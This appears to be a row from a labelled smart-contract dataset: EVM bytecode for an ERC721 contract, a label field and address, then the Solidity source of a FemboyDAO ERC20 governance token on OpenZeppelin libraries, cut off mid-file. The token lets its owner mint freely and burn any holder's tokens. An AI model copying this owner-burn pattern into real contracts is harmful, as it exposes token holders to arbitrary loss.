9084906126a6565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546121e790612604565b90600052602060002090601f016020900481019282612209576000855561224f565b82601f1061222257805160ff191683800117855561224f565b8280016001018555821561224f579182015b8281111561224f578251825591602001919060010190612234565b5061225b92915061225f565b5090565b5b8082111561225b5760008155600101612260565b6001600160e01b03198116811461178e57600080fd5b60006020828403121561229c57600080fd5b8135611bdc81612274565b6000602082840312156122b957600080fd5b5035919050565b6001600160a01b038116811461178e57600080fd5b6000602082840312156122e757600080fd5b8135611bdc816122c0565b60005b8381101561230d5781810151838201526020016122f5565b838111156116055750506000910152565b600081518084526123368160208601602086016122f2565b601f01601f19169290920160200192915050565b602081526000611bdc602083018461231e565b6000806040838503121561237057600080fd5b823561237b816122c0565b946020939093013593505050565b60008060006060848603121561239e57600080fd5b83356123a9816122c0565b925060208401356123b9816122c0565b929592945050506040919091013590565b6020808252825182820181905260009190848201906040850190845b81811015612402578351835292840192918401916001016123e6565b50909695505050505050565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff8084111561243f5761243f61240e565b604051601f8501601f19908116603f011681019082821181831017156124675761246761240e565b8160405280935085815286868601111561248057600080fd5b858560208301376000602087830101525050509392505050565b6000602082840312156124ac57600080fd5b813567ffffffffffffffff8111156124c357600080fd5b8201601f810184136124d457600080fd5b61193e84823560208401612424565b600080604083850312156124f657600080fd5b8235612501816122c0565b91506020830135801515811461251657600080fd5b809150509250929050565b6000806000806080858703121561253757600080fd5b8435612542816122c0565b93506020850135612552816122c0565b925060408501359150606085013567ffffffffffffffff81111561257557600080fd5b8501601f8101871361258657600080fd5b61259587823560208401612424565b91505092959194509250565b600080604083850312156125b457600080fd5b82356125bf816122c0565b91506020830135612516816122c0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061261857607f821691505b6020821081141561263957634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600082198211156126b9576126b9612690565b500190565b60208082526022908201527f4d696e74206d6178417065734d696e74206f722066657765722c20706c656173604082015261329760f11b606082015260800190565b600060001982141561271457612714612690565b5060010190565b634e487b7160e01b600052603260045260246000fd5b600081516127438185602086016122f2565b9290920192915050565b600080855481600182811c91508083168061276957607f831692505b602080841082141561278957634e487b7160e01b86526022600452602486fd5b81801561279d57600181146127ae576127db565b60ff198616895284890196506127db565b60008c81526020902060005b868110156127d35781548b8201529085019083016127ba565b505084890196505b5050505050506127f46127ee8287612731565b85612731565b9695505050505050565b60008282101561281057612810612690565b500390565b600081600019048311821515161561282f5761282f612690565b500290565b634e487b7160e01b600052601260045260246000fd5b60008261285957612859612834565b500490565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6000826128bf576128bf612834565b500690565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906127f49083018461231e565b60006020828403121561290957600080fd5b8151611bdc81612274565b634e487b7160e01b600052603160045260246000fdfea26469706673582212206d47c9a077540d9913bc9db75c057d4c73a02996a3ea5d8b265a8fabe56b81ac64736f6c634300080b0033 | [
5,
12
] |
0xf344b01da08b142d2466dae9e47e333f22e64588 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol';
import '@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol';
/// @custom:security-contact Twitter: @femboydao / Discord: 0xFem#1337 / Email: [email protected]
contract Fem is ERC20, Ownable, ERC20Permit, ERC20Votes {
constructor() ERC20('FemboyDAO', 'FEM') ERC20Permit('FemboyDAO') {}
function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}
function burn(address from, uint256 amount) public virtual onlyOwner {
_burn(from, amount);
}
// The following functions are overrides required by Solidity.
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20, ERC20Votes) {
super._afterTokenTransfer(from, to, amount);
}
function _mint(address to, uint256 amount) internal override(ERC20, ERC20Votes) {
super._mint(to, amount);
}
function _burn(address account, uint256 amount) internal override(ERC20, ERC20Votes) {
super._burn(account, amount);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)
pragma solidity ^0.8.0;
import "./draft-IERC20Permit.sol";
import "../ERC20.sol";
import "../../../utils/cryptography/draft-EIP712.sol";
import "../../../utils/cryptography/ECDSA.sol";
import "../../../utils/Counters.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Votes.sol)
pragma solidity ^0.8.0;
import "./draft-ERC20Permit.sol";
import "../../../utils/math/Math.sol";
import "../../../governance/utils/IVotes.sol";
import "../../../utils/math/SafeCast.sol";
import "../../../utils/cryptography/ECDSA.sol";
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
*
* _Available since v4.2._
*/
abstract contract ERC20Votes is IVotes, ERC20Permit {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos) public view virtual returns (Checkpoint memory) {
return _checkpoints[account][pos];
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account) public view virtual returns (uint32) {
return SafeCast.toUint32(_checkpoints[account].length);
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account) public view virtual override returns (address) {
return _delegates[account];
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account) public view virtual override returns (uint256) {
uint256 pos = _checkpoints[account].length;
return pos == 0 ? 0 : _checkpoints[account][pos - 1].votes;
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_checkpoints[account], blockNumber);
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber) public view virtual override returns (uint256) {
require(blockNumber < block.number, "ERC20Votes: block not yet mined");
return _checkpointsLookup(_totalSupplyCheckpoints, blockNumber);
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber) private view returns (uint256) {
// We run a binary search to look for the earliest checkpoint taken after `blockNumber`.
//
// During the loop, the index of the wanted checkpoint remains in the range [low-1, high).
// With each iteration, either `low` or `high` is moved towards the middle of the range to maintain the invariant.
// - If the middle checkpoint is after `blockNumber`, we look in [low, mid)
// - If the middle checkpoint is before or equal to `blockNumber`, we look in [mid+1, high)
// Once we reach a single value (when low == high), we've found the right checkpoint at the index high-1, if not
// out of bounds (in which case we're looking too far in the past and the result is 0).
// Note that if the latest checkpoint available is exactly for `blockNumber`, we end up with an index that is
// past the end of the array, so we technically don't find a checkpoint after `blockNumber`, but it works out
// the same.
uint256 high = ckpts.length;
uint256 low = 0;
while (low < high) {
uint256 mid = Math.average(low, high);
if (ckpts[mid].fromBlock > blockNumber) {
high = mid;
} else {
low = mid + 1;
}
}
return high == 0 ? 0 : ckpts[high - 1].votes;
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual override {
_delegate(_msgSender(), delegatee);
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= expiry, "ERC20Votes: signature expired");
address signer = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(_DELEGATION_TYPEHASH, delegatee, nonce, expiry))),
v,
r,
s
);
require(nonce == _useNonce(signer), "ERC20Votes: invalid nonce");
_delegate(signer, delegatee);
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
return type(uint224).max;
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(totalSupply() <= _maxSupply(), "ERC20Votes: total supply risks overflowing votes");
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
super._burn(account, amount);
_writeCheckpoint(_totalSupplyCheckpoints, _subtract, amount);
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._afterTokenTransfer(from, to, amount);
_moveVotingPower(delegates(from), delegates(to), amount);
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
address currentDelegate = delegates(delegator);
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveVotingPower(currentDelegate, delegatee, delegatorBalance);
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
if (src != dst && amount > 0) {
if (src != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[src], _subtract, amount);
emit DelegateVotesChanged(src, oldWeight, newWeight);
}
if (dst != address(0)) {
(uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(_checkpoints[dst], _add, amount);
emit DelegateVotesChanged(dst, oldWeight, newWeight);
}
}
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
uint256 pos = ckpts.length;
oldWeight = pos == 0 ? 0 : ckpts[pos - 1].votes;
newWeight = op(oldWeight, delta);
if (pos > 0 && ckpts[pos - 1].fromBlock == block.number) {
ckpts[pos - 1].votes = SafeCast.toUint224(newWeight);
} else {
ckpts.push(Checkpoint({fromBlock: SafeCast.toUint32(block.number), votes: SafeCast.toUint224(newWeight)}));
}
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
return a + b;
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
return a - b;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
